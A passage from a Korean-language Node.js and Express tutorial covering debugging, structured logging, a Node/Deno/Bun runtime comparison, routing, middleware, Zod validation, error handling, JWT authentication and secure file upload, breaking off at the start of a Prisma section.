패키지를 추가하기 전에 세 가지를 보세요. ① 마지막 업데이트가 언제인지, ② 의존성이 몇 개인지, ③ 내장 기능으로 되는 일은 아닌지(n14). left-pad 사건 이후로도 의존성 하나가 서비스를 멈추는 일은 계속 일어납니다 (🧬 전문가 d13 공급망 보안).
NODE 16

디버깅 · 로깅

console.log 를 지우는 것부터가 시작입니다.

디버거 붙이기

# Chrome DevTools 로 디버깅
node --inspect src/index.js              # 9229 포트
node --inspect-brk src/index.js          # 첫 줄에서 멈춤
# chrome://inspect 에서 연결

# 컨테이너 안의 프로세스에 붙기
node --inspect=0.0.0.0:9229 app.js
docker run -p 9229:9229 ...

# VS Code 는 launch.json 없이도 "JavaScript Debug Terminal" 에서
# 그냥 npm run dev 하면 브레이크포인트가 걸립니다 ★

console 의 쓸모 있는 기능

console.table(users);                 // 객체 배열을 표로 ★
console.time("db"); ... console.timeEnd("db");
console.dir(obj, { depth: null });    // 깊은 객체 전부 펼치기
console.trace("여기까지 어떻게 왔나");  // 호출 스택
console.count("hit");                 // 호출 횟수

// 조건부 디버그 로그 (내장 util)
import { debuglog } from "node:util";
const debug = debuglog("app:db");
debug("쿼리 실행 %s", sql);           // NODE_DEBUG=app:db 일 때만 출력

운영 로깅 — pino

npm i pino pino-http · 개발용 npm i -D pino-pretty
import pino from "pino";

export const logger = pino({
  level: process.env.LOG_LEVEL ?? "info",
  // ★ 비밀 값 마스킹 — 실수로 토큰을 로그에 남기는 사고를 막습니다
  redact: ["req.headers.authorization", "*.password", "*.creditCard"],
  formatters: { level: (label) => ({ level: label }) },
  // 개발에서만 예쁘게
  transport: process.env.NODE_ENV !== "production"
    ? { target: "pino-pretty" } : undefined,
});

logger.info({ userId: 1, orderId: "A-1" }, "주문 생성");
// {"level":"info","time":...,"userId":1,"orderId":"A-1","msg":"주문 생성"}
// 요청마다 추적 ID 붙이기 (여러 서비스의 로그를 잇는 열쇠)
import { AsyncLocalStorage } from "node:async_hooks";
const als = new AsyncLocalStorage();

app.use((req, res, next) => {
  const requestId = req.headers["x-request-id"] ?? crypto.randomUUID();
  als.run({ requestId }, next);           // ★ 이 요청의 모든 비동기 흐름에 전파
});

// 어디서든 꺼내 쓸 수 있습니다 (매개변수로 넘길 필요 없음)
export const log = (obj, msg) =>
  logger.info({ ...obj, ...als.getStore() }, msg);
운영 로그는 반드시 JSON 한 줄로. 사람이 읽기 좋은 여러 줄 로그는 검색·집계가 안 됩니다. 그리고 로그에 개인정보·토큰·비밀번호를 남기지 마세요 — 로그 저장소는 대개 접근 권한이 넓습니다.
로그 레벨 기준 — error(사람이 봐야 함) · warn(이상하지만 처리됨) · info(중요한 상태 변화) · debug(개발용, 운영에서는 끔). 모든 것을 info 로 찍으면 아무것도 안 보입니다. 수집·대시보드는 🚀 대규모 트래픽 k12 에서 이어집니다.
NODE 17

Deno · Bun — 다른 런타임을 고를 때

2026년의 서버 JS 는 런타임이 셋입니다. 유행이 아니라 기준으로 고르세요.

세 런타임 비교 2026

항목Node 24 LTS (26 Current)Deno 2.9Bun 1.3
생태계 압도적 — npm 전부, 네이티브 애드온·사내 표준까지 npm 호환됨. 다만 Node 전용 API에 기대는 패키지는 여전히 사고 npm 호환됨. 문제 대부분이 네이티브 애드온에서 터짐
성능 V8. HTTP 처리량은 실무에서 병목이 된 적이 거의 없음 V8 + Rust. Node 와 같은 급 JavaScriptCore + Zig. 기동·설치·파일 I/O 가 확실히 빠름
표준 Web API fetch·WebSocket·Streams 내장(18~22 에 걸쳐 들어옴) 표준이 우선 — Request/Response 가 기본 모델 표준 우선 + Bun 전용 고속 API 병행
TypeScript 24 부터 .ts 를 타입만 지워서 실행 · 26 에서 정식(검사는 tsc 별도) 기본 지원 — 설정 없이 실행, 타입 검사도 내장 기본 지원 — 트랜스파일만, 타입 검사는 안 함
도구 내장 테스트·watch·--env-file (n14) fmt·lint·test·bundle·compile 전부 패키지 매니저·번들러·테스트러너·bun --hot
배포 어디서나 — 도커·서버리스·PaaS 전부 1급 지원 Deno Deploy 는 매끄러움. 그 밖은 직접 도커 공식 이미지는 있으나 매니지드 지원이 아직 얇음

같은 서버, 세 가지 방식

// ① Node — server.mjs   $ node server.mjs
import { createServer } from "node:http";

createServer((req, res) => {
  res.writeHead(200, { "content-type": "application/json" });
  res.end(JSON.stringify({ runtime: "node", v: process.version }));
}).listen(3000);
// ② Deno — server.ts   $ deno run --allow-net server.ts
Deno.serve({ port: 3000 }, (_req: Request) =>
  Response.json({ runtime: "deno", v: Deno.version.deno }));
// ★ TS 를 그대로 실행합니다. 빌드 단계가 없습니다.
// ③ Bun — server.ts   $ bun server.ts
Bun.serve({
  port: 3000,
  fetch: (_req: Request) => Response.json({ runtime: "bun", v: Bun.version }),
});
// ★ Deno·Bun 은 둘 다 "요청 → Response 반환" 이라는
//   표준 Fetch 모델을 씁니다. Hono 같은 프레임워크가
//   세 런타임에서 같은 코드로 도는 이유입니다.

Bun — 진짜 강점과 아직 조심할 점

실제로 체감되는 것
  • 설치 속도 — bun install 이 npm 대비 몇 배. CI 캐시 미스 때 차이가 가장 큽니다
  • 번들러·테스트러너 내장 — tsup·vitest·tsx 를 한꺼번에 걷어냅니다
  • 기동 시간 — 짧은 CLI·스크립트·서버리스에서 유리
  • bun --hot — 프로세스 재시작 없는 리로드
아직 걸리는 것
  • 네이티브 애드온(N-API) 호환 — sharp·bcrypt·node-gyp 계열이 버전에 따라 깨집니다 ★
  • Node 내부 API 를 파고드는 라이브러리(APM 에이전트·일부 ORM)
  • 프로파일링·힙 스냅샷 도구가 V8 생태계만큼 성숙하지 않음
  • 사내 표준·클라우드 런타임이 Node 만 지원하는 경우
가장 안전한 Bun 도입법 — 런타임은 Node 로 두고 패키지 매니저·테스트러너만 Bun 으로 바꾸는 것입니다(bun install + bun test). 위험은 거의 없고 CI 시간은 바로 줄어듭니다.

Deno 2 — 권한 모델이 핵심

# Deno 는 "기본값이 아무것도 못 함" 입니다
deno run server.ts                    # ❌ 네트워크 접근에서 즉시 거부
deno run --allow-net=:3000 server.ts  # 포트만 열어 줌
deno run --allow-read=./data \
         --allow-env=PORT,DATABASE_URL \
         --allow-net=api.example.com server.ts   # ★ 화이트리스트

deno run -A server.ts                 # 전부 허용 — 편하지만 의미가 사라집니다

# npm 패키지를 그대로 (Deno 2)
import express from "npm:express@5";
deno install                          # package.json · node_modules 인식
권한 모델은 “공급망 방어”가 목적입니다. 악성 postinstall 이나 오염된 트랜지티브 의존성이 토큰을 읽어 외부로 보내는 시나리오를 런타임이 막아 줍니다(🧬 전문가 d13). -A 로 시작해 놓고 끝까지 안 좁히면 Node 와 다를 게 없습니다.

지금 새 프로젝트를 시작한다면

상황선택
회사 서비스 · 운영 책임이 있는 API Node LTS — 채용·문서·APM·장애 사례가 전부 여기 있습니다 ★
CLI · 스크립트 · 사내 도구 Bun 또는 Deno — 기동이 빠르고 단일 실행 파일로 뽑기 쉽습니다
엣지 · 서버리스 함수 표준 Fetch 모델(Deno·Hono) 이 이식성이 가장 좋습니다
신뢰할 수 없는 코드 실행 Deno — 권한 모델이 그대로 샌드박스가 됩니다
CI 가 느려서 괴로울 때 런타임은 두고 bun install / bun test 만

마이그레이션에서 실제로 걸리는 것들

  • 네이티브 애드온 — 제일 먼저 깨집니다. 목록부터 뽑으세요 (npm ls --all | grep -i "gyp\|napi")
  • node: 내장 모듈의 가장자리 — cluster·vm· async_hooks·v8 은 호환이 부분적입니다
  • APM · 프로파일러 — Datadog·Sentry 에이전트가 Node 전용인 경우가 많습니다
  • 도커 이미지·베이스 OS — 배포 파이프라인 전체를 같이 바꿔야 합니다(🧰 도구 o12)
  • 팀 — “새벽 3시에 이 런타임을 디버깅할 사람이 있는가”가 마지막 질문입니다
판단 기준 한 줄 — Node 가 느려서 문제였던 적이 있습니까? 대부분은 인덱스 없는 쿼리와 순차 호출이었습니다(n13). 런타임 교체는 그 병목을 확인한 뒤에 검토해도 늦지 않습니다.
EXPRESS 4/5 · 가장 빠른 API

10줄이면
서버가
돌아간다

Express 는 얇습니다. 정해 주는 게 거의 없어서 자유롭고, 그래서 팀마다 구조가 제각각이 됩니다. 빠르게 만들어야 하는 API·사내 도구·프로토타입에 최적이고, 규모가 커지면 🐈 NestJS 로 옮겨 가는 것이 자연스러운 흐름입니다. 여기까지 마치면 인증·검증·보안·배포를 갖춘 실서비스 API 를 혼자 만들어 운영할 수 있습니다.

16SECTIONS
10줄로 서버
0정해진 구조
5.x최신 메이저
EXPRESS 01

5분 만에 서버 띄우기

설치하고 바로 돌려 보세요.

최소 구성

npm i express · TS 라면 npm i -D @types/express tsx
import express from "express";

const app = express();
app.use(express.json());                 // ★ JSON 본문 파싱 (없으면 req.body 가 undefined)

app.get("/health", (req, res) => {
  res.json({ ok: true, uptime: process.uptime() });
});

app.get("/api/users/:id", async (req, res) => {
  const user = await db.user.findUnique({ where: { id: Number(req.params.id) } });
  if (!user) return res.status(404).json({ message: "없습니다" });
  res.json(user);
});

app.post("/api/users", async (req, res) => {
  const created = await db.user.create({ data: req.body });
  res.status(201).json(created);
});

const port = Number(process.env.PORT ?? 3000);
app.listen(port, () => console.log(`http://localhost:${port}`));
Express 5 에서 달라진 것 — ① async 핸들러에서 던진 에러가 자동으로 에러 미들웨어로 갑니다 (4.x 에서는 express-async-errors 가 필요했습니다), ② 경로 패턴 문법이 엄격해졌습니다(* → /*splat), ③ Node 18+ 필요. 신규 프로젝트는 5 로 시작하세요.

실무 초기 세팅

import express from "express";
import helmet from "helmet";
import cors from "cors";
import compression from "compression";
import pinoHttp from "pino-http";

const app = express();

app.set("trust proxy", 1);              // ★ LB 뒤에 있으면 필수 (실제 IP·https 인식)
app.disable("x-powered-by");            // 서버 정보 숨기기

app.use(helmet());                       // 보안 헤더 (x10)
app.use(cors({ origin: env.ALLOWED_ORIGINS.split(",") }));
app.use(compression());                  // 응답 gzip
app.use(express.json({ limit: "1mb" })); // ★ 크기 제한 필수
app.use(express.urlencoded({ extended: true }));
app.use(pinoHttp({ logger }));           // 요청 로그

app.use("/api/users", userRouter);        // 라우터 등록 (x02)
app.use(notFoundHandler);                 // 404
app.use(errorHandler);                    // ★ 에러는 항상 맨 마지막 (x06)
trust proxy 를 안 켜면 req.ip 가 로드밸런서의 IP 로 나옵니다. Rate Limit 을 IP 기준으로 걸면 모든 사용자가 한 사람으로 취급되어 서비스가 통째로 차단됩니다. 실제로 자주 나는 사고입니다.
EXPRESS 02

라우팅 · 라우터 분리

파일 하나가 500줄이 되기 전에 나누세요.

라우터로 나누기

// routes/user.routes.ts
import { Router } from "express";
const router = Router();

router.get("/", listUsers);
router.get("/:id", getUser);
router.post("/", validate(CreateUserSchema), createUser);
router.patch("/:id", requireAuth, updateUser);
router.delete("/:id", requireAuth, requireRole("admin"), deleteUser);

export default router;

// app.ts
app.use("/api/users", userRouter);       // 앞에 붙는 경로를 여기서 결정
app.use("/api/orders", orderRouter);

경로 패턴

app.get("/users/:id", ...)               // req.params.id
app.get("/users/:id/orders/:orderId")    // 여러 개
app.get("/files/*splat", ...)            // Express 5 의 와일드카드
app.get(/^\/api\/v[12]\//, ...)          // 정규식도 가능

// 쿼리스트링
// GET /users?page=2&size=20&sort=name
req.query.page     // "2"  ★ 항상 문자열 (숫자 변환 필요)

// ★ 순서가 중요합니다 — 먼저 매칭된 것이 이깁니다
router.get("/me", getMe);          // 이게 위에 있어야
router.get("/:id", getUser);       // "me" 가 id 로 잡히지 않습니다
라우트 순서 버그는 조용히 나타납니다. /users/:id 를 먼저 등록하면 /users/me 요청이 id="me" 로 들어가 “사용자를 찾을 수 없습니다”가 됩니다. 구체적인 경로를 항상 위에 두세요.

폴더 구조 — 기능 단위로 나누세요

파일 종류별 (커지면 지옥)
src/
  controllers/
    user.controller.ts
    order.controller.ts
    ...20개
  services/
    ...20개
  routes/
    ...20개
→ 기능 하나 고치려면
  폴더 5개를 오감
기능(도메인)별 ★
src/
  modules/
    user/
      user.routes.ts
      user.service.ts
      user.schema.ts
      user.test.ts
    order/
      ...
  shared/
    middleware/
    db.ts
  app.ts
// 계층 역할을 지키세요 (Nest 와 같은 원칙)
// routes    — URL 매칭, 미들웨어 연결만
// service   — 비즈니스 규칙 (여기에 req/res 를 넘기지 마세요 ★)
// repository— DB 접근

// ❌ 서비스가 HTTP 를 알면 테스트도 재사용도 어려워집니다
export async function createUser(req: Request, res: Response) { ... }

// ✅ 서비스는 순수한 입력·출력
export async function createUser(dto: CreateUserDto): Promise<User> { ... }
API 버저닝은 app.use("/api/v1", v1Router) 처럼 경로에 두는 방식이 가장 단순하고 디버깅하기 좋습니다. 헤더 기반 버저닝은 캐시·로그·테스트가 모두 복잡해집니다.
EXPRESS 03

미들웨어의 원리

Express 의 전부입니다. 요청이 통과하는 관문의 줄이라고 생각하세요.

동작 구조

요청 →  [helmet] → [json 파싱] → [로거] → [인증] → [핸들러] → 응답
                                                    ↓ next(err)
                                              [에러 미들웨어]

· next()      다음 미들웨어로
· next(err)   ★ 에러 미들웨어로 건너뜀
· 아무것도 안 하면 → 요청이 그대로 멈춥니다 (타임아웃)
· res 를 보내면 → 체인 종료
// 미들웨어는 그냥 함수 3개(또는 4개) 짜리입니다
const requestTime: RequestHandler = (req, res, next) => {
  const start = Date.now();
  res.on("finish", () => {                 // ★ 응답이 끝난 뒤 실행
    logger.info({ ms: Date.now() - start, path: req.path }, "요청 완료");
  });
  next();                                   // ★ 반드시 호출
};

// 에러 미들웨어는 인자가 4개 (이 시그니처로 구분합니다)
const errorHandler: ErrorRequestHandler = (err, req, res, next) => { ... };

실무에서 만드는 미들웨어

// ① 인증 — req 에 사용자 정보를 붙임
export const requireAuth: RequestHandler = (req, res, next) => {
  const token = req.headers.authorization?.replace("Bearer ", "");
  if (!token) return next(new UnauthorizedError());
  try {
    req.user = jwt.verify(token, env.JWT_SECRET) as JwtPayload;
    next();
  } catch {
    next(new UnauthorizedError("토큰이 유효하지 않습니다"));
  }
};

// ② 권한 — 매개변수를 받는 미들웨어는 "함수를 반환"하는 형태
export const requireRole = (...roles: string[]): RequestHandler =>
  (req, res, next) =>
    roles.includes(req.user?.role ?? "")
      ? next()
      : next(new ForbiddenError());

// ③ async 래퍼 (Express 4 에서 필수, 5 에서는 불필요)
export const asyncHandler = (fn: RequestHandler): RequestHandler =>
  (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);

router.get("/:id", asyncHandler(async (req, res) => {
  const user = await service.find(req.params.id);   // 던져도 안전
  res.json(user);
}));
Express 4 에서 가장 흔한 사고 — async 핸들러에서 던진 에러가 아무 데도 안 잡히고 요청이 영원히 응답 없이 남습니다. asyncHandler 로 감싸거나 Express 5 로 올리세요.
미들웨어 — 등록한 순서가 곧 통과 순서입니다 요청 들어옴 → 로깅 시작 시각 기록 express.json() req.body 채우기 인증 req.user 심기 라우트 핸들러 res.json(...) 응답은 왔던 길을 거꾸로 지나 나갑니다 — 응답 로깅 · 압축이 여기서 걸립니다 next() 도 안 부르고 응답도 안 보내면 요청은 그 자리에 멈춥니다 app.use(경로 없이) 는 전부에 걸리고, app.use("/api", m) 는 그 아래에만 걸립니다 순서 사고 1위 — 인증 미들웨어를 라우트보다 아래에 등록해서 아무도 안 막히는 경우
미들웨어는 특별한 개념이 아니라 (req, res, next) 를 받는 함수일 뿐입니다.
EXPRESS 04

요청 · 응답 · 바디 파싱

값을 꺼내는 곳은 세 군데뿐입니다.

요청에서 값 꺼내기

위치예 · 특징
req.params/users/:id → 경로 변수. 항상 문자열
req.query?page=2 → 쿼리. 항상 문자열 또는 배열
req.body본문. 파서 미들웨어가 있어야 채워짐
req.headers키는 전부 소문자로 들어옵니다
req.cookiescookie-parser 필요
// ★ 숫자 변환을 잊지 마세요 — 흔한 버그
const page = Number(req.query.page ?? 1);
if (!Number.isInteger(page) || page < 1) throw new ValidationError("page");

// 배열로 올 수도 있습니다: ?tag=a&tag=b → ["a","b"]
const tags = [req.query.tag ?? []].flat();

// ★ 실무에서는 검증 라이브러리로 한 번에 처리하세요 (x05)

응답 보내기

res.json({ data });                     // JSON (Content-Type 자동)
res.status(201).json(created);
res.status(204).end();                  // 본문 없음 (삭제 성공)
res.redirect(302, "/login");
res.sendFile(path.resolve("public/a.pdf"));
res.download(filePath, "보고서.pdf");    // 다운로드 헤더 자동
res.set("Cache-Control", "public, max-age=3600");
res.cookie("token", t, {
  httpOnly: true, secure: true, sameSite: "lax", maxAge: 3600_000,
});

// 스트리밍 응답 (큰 파일 — 메모리 절약)
import { pipeline } from "node:stream/promises";
await pipeline(createReadStream(bigFile), res);

// SSE (실시간 알림)
res.writeHead(200, {
  "Content-Type": "text/event-stream",
  "Cache-Control": "no-cache",
  Connection: "keep-alive",
});
const timer = setInterval(() => res.write(`data: ${Date.now()}\n\n`), 1000);
req.on("close", () => clearInterval(timer));   // ★ 정리 필수
응답 형태를 팀에서 통일하세요. { data, meta } 처럼 감쌀지, 그냥 객체를 줄지 정해 두지 않으면 프런트엔드가 엔드포인트마다 다르게 처리해야 합니다. 에러 응답 형태도 마찬가지입니다(x06).
EXPRESS 05

입력 검증 (Zod)

들어오는 값은 전부 의심하세요. TypeScript 는 런타임에 아무것도 못 막습니다.

스키마 정의

npm i zod
import { z } from "zod";

export const CreateUserSchema = z.object({
  email: z.email("이메일 형식이 아닙니다"),
  password: z.string().min(8, "8자 이상").regex(/[0-9]/, "숫자 포함"),
  name: z.string().min(1).max(50),
  age: z.number().int().positive().optional(),
  role: z.enum(["user", "admin"]).default("user"),
  tags: z.array(z.string()).max(10).default([]),
});

export type CreateUserDto = z.infer<typeof CreateUserSchema>;   // ★ 타입 자동 생성

// 쿼리는 문자열로 오므로 변환이 필요합니다
export const ListQuerySchema = z.object({
  page: z.coerce.number().int().min(1).default(1),     // ★ "2" → 2
  size: z.coerce.number().int().min(1).max(100).default(20),
  keyword: z.string().trim().optional(),
});

미들웨어로 연결

type Target = "body" | "query" | "params";

export const validate =
  (schema: z.ZodTypeAny, target: Target = "body"): RequestHandler =>
  (req, res, next) => {
    const result = schema.safeParse(req[target]);
    if (!result.success) {
      return res.status(400).json({
        message: "입력값이 올바르지 않습니다",
        errors: result.error.issues.map(i => ({
          field: i.path.join("."),
          message: i.message,
        })),
      });
    }
    if (target === "query") {
      // ★ Express 5 에서 req.query 는 getter 전용 — 재할당하면 TypeError
      Object.defineProperty(req, "query", { value: result.data });
    } else {
      req[target] = result.data;      // ★ 변환·기본값이 적용된 값으로 교체
    }
    next();
  };

// 사용
router.post("/", validate(CreateUserSchema), async (req, res) => {
  const dto = req.body as CreateUserDto;    // ✅ 검증·변환 완료된 값
  res.status(201).json(await service.create(dto));
});
검증하지 않으면 무슨 일이 생기나 — { "role": "admin" } 을 그대로 db.create(req.body) 에 넘기면 누구나 관리자가 됩니다(Mass Assignment). Zod 는 정의하지 않은 필드를 기본적으로 제거하므로 이 공격을 막아 줍니다.
같은 스키마를 프런트엔드와 공유하면 폼 검증까지 한 번에 해결됩니다. 모노레포라면 packages/schema 에 두고 양쪽에서 import 하세요 (🧰 도구 o02·o07).
검증은 경계에서 한 번 — 안쪽은 믿고 씁니다 바깥 입력 body · query · header any 라고 생각하세요 스키마 검사 z.object({ email: z.string() .email(), age: z.number() }) 통과 — 타입이 보장된 값 실패 — 400 과 어느 필드가 틀렸는지 타입을 두 번 적지 않습니다 type Input = z.infer<typeof schema> 스키마를 고치면 타입이 따라옵니다 — 어긋날 수 없습니다 미들웨어로 한 곳에 validate(schema) 를 라우터에 붙이면 핸들러 안에는 검증 코드가 한 줄도 남지 않습니다 타입스크립트의 타입은 실행 중에 사라집니다 — 컴파일 타입만 믿고 검증을 건너뛰면 어떤 값이든 들어옵니다 응답 쪽도 검증하면 실수로 비밀번호 해시를 내보내는 사고를 막을 수 있습니다
"안쪽에서 값이 이상하다"는 문제는 경계가 없어서 생깁니다.
EXPRESS 06

에러 처리

컨트롤러마다 try/catch 를 쓰고 있다면 이 절을 반드시 보세요.

중앙 집중 에러 처리

// errors.ts — 도메인 에러 정의
export class AppError extends Error {
  constructor(
    message: string,
    public status = 500,
    public code = "INTERNAL_ERROR",
    public details?: unknown,
  ) { super(message); this.name = this.constructor.name; }
}
export class NotFoundError extends AppError {
  constructor(what = "리소스") { super(`${what}를 찾을 수 없습니다`, 404, "NOT_FOUND"); }
}
export class UnauthorizedError extends AppError {
  constructor(m = "인증이 필요합니다") { super(m, 401, "UNAUTHORIZED"); }
}
export class ForbiddenError extends AppError {
  constructor(m = "권한이 없습니다") { super(m, 403, "FORBIDDEN"); }
}
export class ConflictError extends AppError {
  constructor(m: string) { super(m, 409, "CONFLICT"); }
}
// middleware/error.ts — ★ 앱에서 마지막에 등록
export const errorHandler: ErrorRequestHandler = (err, req, res, _next) => {
  const requestId = req.headers["x-request-id"];

  if (err instanceof AppError) {
    logger.warn({ err, requestId, path: req.path }, "처리된 오류");
    return res.status(err.status).json({
      code: err.code, message: err.message, details: err.details, requestId,
    });
  }

  // 라이브러리 에러 변환
  if (err instanceof z.ZodError) {
    return res.status(400).json({ code: "VALIDATION_ERROR", errors: err.issues });
  }
  if (err.code === "P2002") {             // Prisma 유니크 위반
    return res.status(409).json({ code: "DUPLICATE", message: "이미 존재합니다" });
  }

  // 예상 못 한 에러 — ★ 내부 정보를 노출하지 마세요
  logger.error({ err, requestId, path: req.path }, "예상치 못한 오류");
  res.status(500).json({
    code: "INTERNAL_ERROR", message: "서버 오류가 발생했습니다", requestId,
  });
};

컨트롤러가 깨끗해집니다

매번 try/catch
router.get("/:id",
  async (req, res) => {
  try {
    const u = await find(id);
    if (!u) return res.status(404)
      .json({ message: "없음" });
    res.json(u);
  } catch (e) {
    console.error(e);
    res.status(500)
      .json({ message: "오류" });
  }
});
던지기만
router.get("/:id",
  async (req, res) => {
  const u = await find(id);
  if (!u) throw new NotFoundError("사용자");
  res.json(u);
});
// 에러 미들웨어가
// 알아서 처리 ★
// (Express 5 기준)

404 와 프로세스 레벨

// 어떤 라우트에도 안 걸린 요청
app.use((req, res) => {
  res.status(404).json({ code: "NOT_FOUND", message: `${req.method} ${req.path}` });
});
app.use(errorHandler);       // ★ 반드시 맨 마지막

// 프로세스 레벨 안전망 (🟩 Node n12)
process.on("unhandledRejection", (e) => { logger.fatal({ e }); process.exit(1); });
에러 응답에 스택 트레이스를 넣지 마세요. 운영에서 err.stack 을 그대로 내보내면 파일 경로·라이브러리 버전·내부 구조가 공격자에게 그대로 노출됩니다. 스택은 로그에만 남기고, 사용자에게는 requestId 만 주세요.
에러는 next(err) 로 던져 한 곳에서 받습니다 라우트 핸들러 req 검증 · 서비스 호출 서비스에서 에러 DB 실패 · 권한 없음 남은 미들웨어 전부 건너뜁니다 next(err) 에러 처리 미들웨어 — (err, req, res, next) 인자 네 개 상태 코드 정하기 · 사용자용 메시지 만들기 · 스택은 로그에만 app.use 중 가장 마지막에 등록해야 합니다 Express 4 는 async 핸들러의 throw 를 자동으로 못 잡습니다 — 래퍼 필요 사용자에게는 이유만, 로그에는 스택과 요청 ID 를 — 내부 메시지를 그대로 내보내면 정보 노출입니다
에러 처리의 목표는 잡는 것이 아니라 한 곳에서 같은 모양으로 응답하는 것입니다.
EXPRESS 07

인증 — JWT · 세션

로그인 유지 방식 두 가지. 선택 기준부터 정리합니다.

무엇을 고를까

방식특징
세션서버가 상태를 가짐. 즉시 로그아웃 가능. 서버가 여러 대면 Redis 필요
JWT서버가 상태를 안 가짐(무상태). 확장에 유리. 발급된 토큰을 취소하기 어려움
모바일 앱·MSA·서버 여러 대 → JWT.
웹 전용·즉시 차단이 중요(관리자·금융) → 세션.
실무에서는 짧은 액세스 토큰(15분) + 리프레시 토큰(2주) 조합이 가장 흔합니다.

JWT 구현

npm i jsonwebtoken bcrypt · npm i -D @types/jsonwebtoken @types/bcrypt
import jwt from "jsonwebtoken";
import bcrypt from "bcrypt";

// 회원가입 — 비밀번호는 반드시 해시
const hash = await bcrypt.hash(password, 12);      // ★ 평문 저장 절대 금지

// 로그인
const ok = await bcrypt.compare(password, user.passwordHash);
if (!ok) throw new UnauthorizedError("아이디 또는 비밀번호가 올바르지 않습니다");
//        ★ "비밀번호가 틀렸습니다" 라고 하면 계정 존재 여부가 새어 나갑니다

const accessToken = jwt.sign(
  { sub: String(user.id), role: user.role },
  env.JWT_SECRET,
  { expiresIn: "15m", issuer: "my-api" },
);
const refreshToken = crypto.randomUUID();
await redis.set(`refresh:${refreshToken}`, user.id, { EX: 60 * 60 * 24 * 14 });

res.cookie("refresh", refreshToken, {
  httpOnly: true, secure: true, sameSite: "strict", path: "/auth",
});
// ★ path 는 이 쿠키를 쓰는 라우트를 모두 포함해야 합니다
//   (/auth/refresh 로 좁히면 /auth/logout 에는 쿠키가 안 실려 로그아웃이 안 됩니다)
res.json({ accessToken });

검증 · 갱신 · 로그아웃

// 검증 미들웨어
export const requireAuth: RequestHandler = (req, _res, next) => {
  const token = req.headers.authorization?.split(" ")[1];
  if (!token) return next(new UnauthorizedError());
  try {
    const payload = jwt.verify(token, env.JWT_SECRET, { issuer: "my-api" });
    req.user = { id: Number(payload.sub), role: payload.role };
    next();
  } catch (e) {
    next(e instanceof jwt.TokenExpiredError
      ? new UnauthorizedError("토큰이 만료되었습니다")
      : new UnauthorizedError());
  }
};

// 갱신 — 리프레시 토큰 회전(rotation)
router.post("/auth/refresh", async (req, res) => {
  const rt = req.cookies.refresh;
  const userId = await redis.get(`refresh:${rt}`);
  if (!userId) throw new UnauthorizedError("다시 로그인해 주세요");

  await redis.del(`refresh:${rt}`);            // ★ 한 번 쓰면 폐기
  // 새 토큰 발급…
});

// 로그아웃 — 리프레시만 지우면 됩니다 (액세스는 15분 뒤 자동 만료)
router.post("/auth/logout", async (req, res) => {
  await redis.del(`refresh:${req.cookies.refresh}`);
  res.clearCookie("refresh").status(204).end();
});
JWT 로 흔히 하는 실수
· 토큰을 localStorage 에 저장 → XSS 한 번에 털립니다. httpOnly 쿠키가 안전합니다
· 만료를 7일로 길게 → 탈취되면 일주일간 무방비
· 페이로드에 개인정보를 담음 → JWT 는 암호화가 아니라 서명입니다. 누구나 디코딩할 수 있습니다
· algorithm: "none" 을 허용 → 서명 우회 공격
세션과 JWT — 상태를 서버가 드느냐, 토큰에 담느냐 세션 — 서버가 기억 브라우저 서버 + 저장소 쿠키에는 세션 ID 만 · 내용은 서버에 즉시 강제 로그아웃 가능 서버가 늘면 Redis 같은 공용 저장소 필요 쿠키 옵션 — httpOnly · secure · sameSite CSRF 대비가 필요합니다 JWT — 토큰에 담아 보냄 토큰 보관 서명만 검증 서버에 저장소가 없어도 됩니다 서버를 늘려도 그대로 동작합니다 만료 전 무효화가 어렵습니다 액세스는 짧게 + 리프레시 토큰으로 갱신 payload 는 누구나 읽습니다 — 비밀 금지 토큰을 localStorage 에 두면 XSS 한 방에 털립니다 — httpOnly 쿠키가 안전합니다
고르는 기준은 취향이 아니라 강제 로그아웃이 얼마나 급한가입니다.
EXPRESS 08

파일 업로드 · 다운로드

가장 많이 취약점이 생기는 기능입니다.

업로드 — multer

npm i multer · npm i -D @types/multer
import multer from "multer";

const upload = multer({
  storage: multer.diskStorage({
    destination: (req, file, cb) => cb(null, env.UPLOAD_DIR),
    filename: (req, file, cb) =>
      // ★ 사용자 파일명을 그대로 쓰지 마세요
      cb(null, `${crypto.randomUUID()}${path.extname(file.originalname)}`),
  }),
  limits: {
    fileSize: 5 * 1024 * 1024,        // ★ 5MB 제한 (없으면 디스크가 찹니다)
    files: 5,
  },
  fileFilter: (req, file, cb) => {
    const allowed = ["image/jpeg", "image/png", "image/webp"];
    if (!allowed.includes(file.mimetype))
      return cb(new ValidationError("이미지만 업로드할 수 있습니다"));
    cb(null, true);
  },
});

router.post("/upload", requireAuth, upload.single("file"), (req, res) => {
  res.status(201).json({ filename: req.file!.filename });
});
파일 업로드 체크리스트
· 파일명을 새로 생성(경로 순회·덮어쓰기 방지)
· 크기 제한을 반드시
· MIME 타입은 위조 가능 — 중요하면 파일 시그니처(매직 넘버)까지 확인
· 업로드 폴더에서 실행 권한 제거 (웹셸 방지)
· 정적 서빙 경로와 업로드 경로를 분리

실무 — 클라우드 스토리지 직접 업로드

// ★ 서버를 거치지 않는 것이 정답입니다
// 서버는 "업로드 허가증(presigned URL)"만 발급합니다
import { S3Client, PutObjectCommand } from "@aws-sdk/client-s3";
import { getSignedUrl } from "@aws-sdk/s3-request-presigner";

router.post("/upload-url", requireAuth, async (req, res) => {
  const key = `uploads/${req.user.id}/${crypto.randomUUID()}.jpg`;
  const url = await getSignedUrl(
    s3,
    new PutObjectCommand({ Bucket: env.S3_BUCKET, Key: key, ContentType: "image/jpeg" }),
    { expiresIn: 300 },              // 5분간 유효
  );
  res.json({ uploadUrl: url, key });
});

// 클라이언트가 직접 S3 로 PUT → 서버 대역폭·메모리 0 ★

다운로드

router.get("/files/:id", requireAuth, async (req, res) => {
  const file = await db.file.findUnique({ where: { id: req.params.id } });
  if (!file) throw new NotFoundError("파일");
  if (file.ownerId !== req.user.id) throw new ForbiddenError();   // ★ 권한 확인

  // 경로 검증 (n04)
  const abs = path.resolve(env.UPLOAD_DIR, file.storedName);
  if (!abs.startsWith(path.resolve(env.UPLOAD_DIR) + path.sep))
    throw new ForbiddenError();

  res.download(abs, file.originalName);       // 한글 파일명도 자동 인코딩
});
서버가 여러 대라면 로컬 디스크에 저장하면 안 됩니다. A 서버에 올린 파일을 B 서버가 못 찾습니다. S3·GCS 같은 공용 스토리지를 쓰세요(🚀 대규모 k11 무상태).
EXPRESS 09

DB 연동 (Prisma)

타입이 자동으로 만들어지는 것이 가장 큰 장점입니다.

스키마와 클라이언트

npm i @prisma/client · npm i -D prisma · npx prisma init
// prisma/schema.prisma
